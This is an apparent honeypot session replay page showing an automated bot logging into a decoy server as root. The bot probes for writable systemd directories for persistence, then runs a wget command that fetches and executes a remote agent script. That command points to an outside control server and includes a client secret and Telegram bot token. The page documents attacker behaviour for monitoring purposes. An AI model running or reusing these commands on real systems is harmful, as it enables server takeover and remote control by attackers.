← All sessions
Ended · replayGot inTyped by a botevery command without a terminal

Got in and tried to download its tools

on Abu Dhabi (Masdar City), United Arab Emiratesnutmeg-aardvark-45i from Bissen, Luxembourgseen 204 times this weekSSH-2.0-Go

root@ae-auh-oracle-2 · 🇦🇪 Abu Dhabi (Masdar City)
connected from 🇱🇺 Bissen, Luxembourg · SSH-2.0-Go
root@ae-auh-oracle-2's password: 
Logged in as root
root@ae-auh-oracle-2:~# echo $((1+1))
2
root@ae-auh-oracle-2:~# set -u

probe_dir() {
	dir="$1"
	test_file="$dir/.deploy-write-test.$$"

	if ! (umask 077 && : > "$test_file") 2>/dev/null; then
		return 1
	fi

	rm -f "$test_file" >/dev/null 2>&1 || return 1
	return 0
}

found=0

for dir in /etc/systemd/system /etc/init.d; do
	if [ -d "$dir" ]; then
		found=1
		if probe_dir "$dir"; then
			echo "WRITABLE:$dir"
			exit 0
		fi
		echo "READ_ONLY:$dir"
	fi
done

if [ "$found" -eq 0 ]; then
	if [ ! -d /root ]; then
		echo "MISSING:/root"
		exit 1
	fi

	if probe_dir /root; then
		echo "WRITABLE:/root"
		exit 0
	fi

	echo "READ_ONLY:/root"
fi

exit 1
WRITABLE:/etc/systemd/system
root@ae-auh-oracle-2:~# set -u

if command -v nslookup >/dev/null 2>&1; then
	nslookup raw.githubusercontent.com
	exit $?
fi

if command -v dig >/dev/null 2>&1; then
	dig +time=5 +tries=1 raw.githubusercontent.com
	exit $?
fi

if command -v getent >/dev/null 2>&1; then
	getent ahosts raw.githubusercontent.com
	exit $?
fi

echo "NO_DNS_LOOKUP_TOOL" >&2
exit 127
Server:		1.1.1.1
Address:	1.1.1.1#53

Non-authoritative answer:
Name:	raw.githubusercontent.com
Address: 40.115.4.198
root@ae-auh-oracle-2:~# command -v wget >/dev/null 2>&1 && echo OK || echo MISSING
OK
root@ae-auh-oracle-2:~# wget --no-check-certificate -O agent.sh https://raw.githubusercontent.com/nezha-rs/agent-rust/main/agent2.sh && chmod +x agent.sh && env NZ_SERVER='dash-server.132546.xyz:8007' NZ_TLS=false NZ_CLIENT_SECRET='LluIEPW4YELMU0q73fVmuGftFqao4C3j' TG_BOT_TOKEN='8852603513:AAFNtQq38ZwzTRl4s2OuqV4JgxbzTtYLNtQ' TG_CHAT_ID='-1004362596133' ./agent.sh --download-base http://sock-server.132546.xyz/nezha/v2.1.0

Disconnected · 1m 33s inside

1:33 / 1:33
What they found: A community game serverA rented server where an online gaming community plays together. Run by volunteers, with strong hardware.

Live updates paused

Reconnecting…

Trying again in seconds.

The connection is gone. Reload the page to see the latest.

Paused to save the server’s work while you were away.

Couldn’t resume. Reload the page to see the latest.